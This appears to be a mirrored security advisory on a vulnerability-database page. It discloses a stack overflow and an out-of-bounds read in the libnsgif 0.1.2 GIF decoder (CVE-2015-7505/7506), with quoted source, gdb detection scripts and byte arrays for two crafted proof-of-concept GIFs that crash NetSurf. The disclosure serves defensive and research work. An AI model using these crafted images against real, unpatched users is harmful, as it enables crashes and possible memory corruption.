Lucene search
K

Libnsgif 0.1.2 Stack Overflow / Out-Of-Bounds Read Exploit

🗓️ 17 Dec 2015 00:00:00Reported by Hans Jerry IllikainenType 
zdt
 zdt
🔗 0day.today👁 52 Views

Libnsgif 0.1.2 Decoding Library Vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Libnsgif Buffer Overflow Vulnerability
9 Mar 202000:00
cnvd
CNVD
Libnsgif Buffer Overflow Vulnerability (CNVD-2020-16720)
9 Mar 202000:00
cnvd
CVE
CVE-2015-7505
18 Feb 202017:45
cve
CVE
CVE-2015-7506
18 Feb 202013:54
cve
Cvelist
CVE-2015-7505
18 Feb 202017:45
cvelist
Cvelist
CVE-2015-7506
18 Feb 202013:54
cvelist
Debian CVE
CVE-2015-7505
18 Feb 202017:45
debiancve
Debian CVE
CVE-2015-7506
18 Feb 202013:54
debiancve
EUVD
EUVD-2015-7426
7 Oct 202500:30
euvd
EUVD
EUVD-2015-7427
7 Oct 202500:30
euvd
Rows per page
Overview
========

Libnsgif[1] is a decoding library for GIF images.  It is primarily
developed and used as part of the NetSurf project.

As of version 0.1.2, libnsgif is vulnerable to a stack overflow
(CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way
LZW-compressed GIF data is processed.


Details
=======

src/libnsgif.c #80..133:
,----
| /*    Maximum LZW bits available
| */
| #define GIF_MAX_LZW 12
| [...]
| static int table[2][(1 << GIF_MAX_LZW)];
| static unsigned char stack[(1 << GIF_MAX_LZW) * 2];
`----

src/libnsgif.c #423..628:
,----
| static gif_result gif_initialise_frame(gif_animation *gif) {
| [...]
|     if (gif_data[0] > GIF_MAX_LZW)
|         return GIF_DATA_ERROR;
| [...]
| }
`----


src/libnsgif.c #751..1053:
,----
| gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) {
| [...]
|         /*    Initialise the LZW decoding
|         */
|         set_code_size = gif_data[0];
| [...]
|         code_size = set_code_size + 1;
|         clear_code = (1 << set_code_size);
|         end_code = clear_code + 1;
|         max_code_size = clear_code << 1;
|         max_code = clear_code + 2;
| [...]
| }
`----


src/libnsgif.c #1145..1169:
,----
| void gif_init_LZW(gif_animation *gif) {
| [...]
|     *stack_pointer++ =firstcode;
| }
`----


src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
|     code = gif_next_code(gif, code_size);
| [...]
|     incode = code;
|     if (code >= max_code) {
|         *stack_pointer++ = firstcode;
|         code = oldcode;
|     }
| 
|     /* The following loop is the most important in the GIF decoding cycle as every
|      * single pixel passes through it.
|      *
|      * Note: our stack is always big enough to hold a complete decompressed chunk. */
|     while (code >= clear_code) {
|         *stack_pointer++ = table[1][code];
|         new_code = table[0][code];
|         if (new_code < clear_code) {
|             code = new_code;
|             break;
|         }
|         *stack_pointer++ = table[1][new_code];
|         code = table[0][new_code];
|         if (code == new_code) {
|               gif->current_error = GIF_FRAME_DATA_ERROR;
|             return false;
|         }
|     }
| 
|     *stack_pointer++ = firstcode = table[1][code];
| [...]
|     oldcode = incode;
| [...]
| }
`----


CVE-2015-7505
=============

Since `gif_next_LZW()' writes onto the stack so long as `code' is at
least `clear_code', an overflow may eventually occur while processing a
maliciously crafted image.

Using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif
| [...]
| stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3)
| stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4)
| stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5)
| stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646)
| 
| Program received signal SIGSEGV, Segmentation fault.
| 0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210
| 1210                    *stack_pointer++ = table[1][code];
| (gdb)
`----


stack.py:
,----
| class Breakpoint(gdb.Breakpoint):
|     def stop(self):
|         stack_pointer = get_hex("stack_pointer")
|         stack = get_hex("&stack")
|         stack_size = get_hex("sizeof stack / sizeof *stack")
|         stack_end = stack + stack_size
| 
|         table_size = get_hex("sizeof table / sizeof **table / 2")
|         code = get_hex("code")
| 
|         if stack_pointer > stack_end:
|             print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
|                   (stack_pointer, stack_end, stack_pointer - stack_end))
|         if code >= table_size:
|             print("out-of-bounds read: code: %d (+%d)" %
|                   (code, code - table_size + 1))
|         return False
| 
| def get_hex(arg):
|     res = gdb.execute("print/x %s" % arg, to_string=True)
|     x = res.split(" ")[-1].strip()
|     return int(x, 16)
| 
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
| 
| gdb.execute("run")
`----


stack.gif:
,----
| unsigned char stack[] = {
|     /* GIF87a */
|     0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
| 
|     /* gif_initialise() */
|     0x04, 0x00,     /* gif->width */
|     0x04, 0x33,     /* gif->height */
|     0x00,           /* gif->global_colours */
|     0x00,           /* gif->background_index */
|     0x00,           /* gif->aspect_ratio */
| 
|     /* gif_initialise_frame() */
|     0x2c,           /* GIF_IMAGE_SEPARATOR */
|     0x00, 0x00,     /* offset_x */
|     0x00, 0x00,     /* offset_y */
|     0x1b, 0x00,     /* width */
|     0x04, 0x00,     /* height */
|     0x00,           /* flags */
|     0x04,           /* code size */
|     0x0d,           /* block_size */
| 
|     /* image data */
|     0x10, 0xcb,
|     0x41, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3,
| 
|     /* end of image data */
|     0x00,
| 
|     /* end of .gif */
|     0x3b
| };
`----


CVE-2015-7506
=============

If `set_code_size' is 0xc, `clear_code' is assigned a value of 4096.
Since the while-loop in `gif_next_LZW()' executes so long as `code >=
clear_code', an out-of-bounds read might occur due to `code' being used
to dereference `table' (2d array * 4096).  A boundary check exist in
that if `code >= max_code', it's assigned the value of `oldcode' --
however, the result may still exceed `max_code' due to the bookkeeping
of the *original* value:

src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
|     incode = code;
|     if (code >= max_code) {
|         *stack_pointer++ = firstcode;
|         code = oldcode;
|     }
| [...]
|     oldcode = incode;
| [...]
| }
`----

Again, using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif
| [...]
| out-of-bounds read: code: 6670 (+2575)
| out-of-bounds read: code: 7999 (+3904)
`----


oob.py:
,----
| class Breakpoint(gdb.Breakpoint):
|     def stop(self):
|         stack_pointer = get_hex("stack_pointer")
|         stack = get_hex("&stack")
|         stack_size = get_hex("sizeof stack / sizeof *stack")
|         stack_end = stack + stack_size
| 
|         table_size = get_hex("sizeof table / sizeof **table / 2")
|         code = get_hex("code")
| 
|         if stack_pointer > stack_end:
|             print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
|                   (stack_pointer, stack_end, stack_pointer - stack_end))
|         if code >= table_size:
|             print("out-of-bounds read: code: %d (+%d)" %
|                   (code, code - table_size + 1))
|         return False
| 
| def get_hex(arg):
|     res = gdb.execute("print/x %s" % arg, to_string=True)
|     x = res.split(" ")[-1].strip()
|     return int(x, 16)
| 
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
| 
| gdb.execute("run")
`----


oob.gif:
,----
| unsigned char oob[] = {
|     /* GIF87a */
|     0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
| 
|     /* gif_initialise() */
|     0x04, 0x00,     /* gif->width */
|     0x04, 0x33,     /* gif->height */
|     0x00,           /* gif->global_colours */
|     0x00,           /* gif->background_index */
|     0x00,           /* gif->aspect_ratio */
| 
|     /* gif_initialise_frame() */
|     0x2c,           /* GIF_IMAGE_SEPARATOR */
|     0x00, 0x00,     /* offset_x */
|     0x00, 0x00,     /* offset_y */
|     0x1b, 0x00,     /* width */
|     0x04, 0x00,     /* height */
|     0x00,           /* flags */
|     0x0c,           /* code size */
|     0x0d,           /* block_size */
| 
|     /* image data */
|     0x10, 0xcb,
|     0x41, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3, 0xf3,
|     0xf3,
| 
|     /* end of image data */
|     0x00,
| 
|     /* end of .gif */
|     0x3b
| };
`----


Solution
========

Both vulnerabilities are fixed in git HEAD[2].

#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation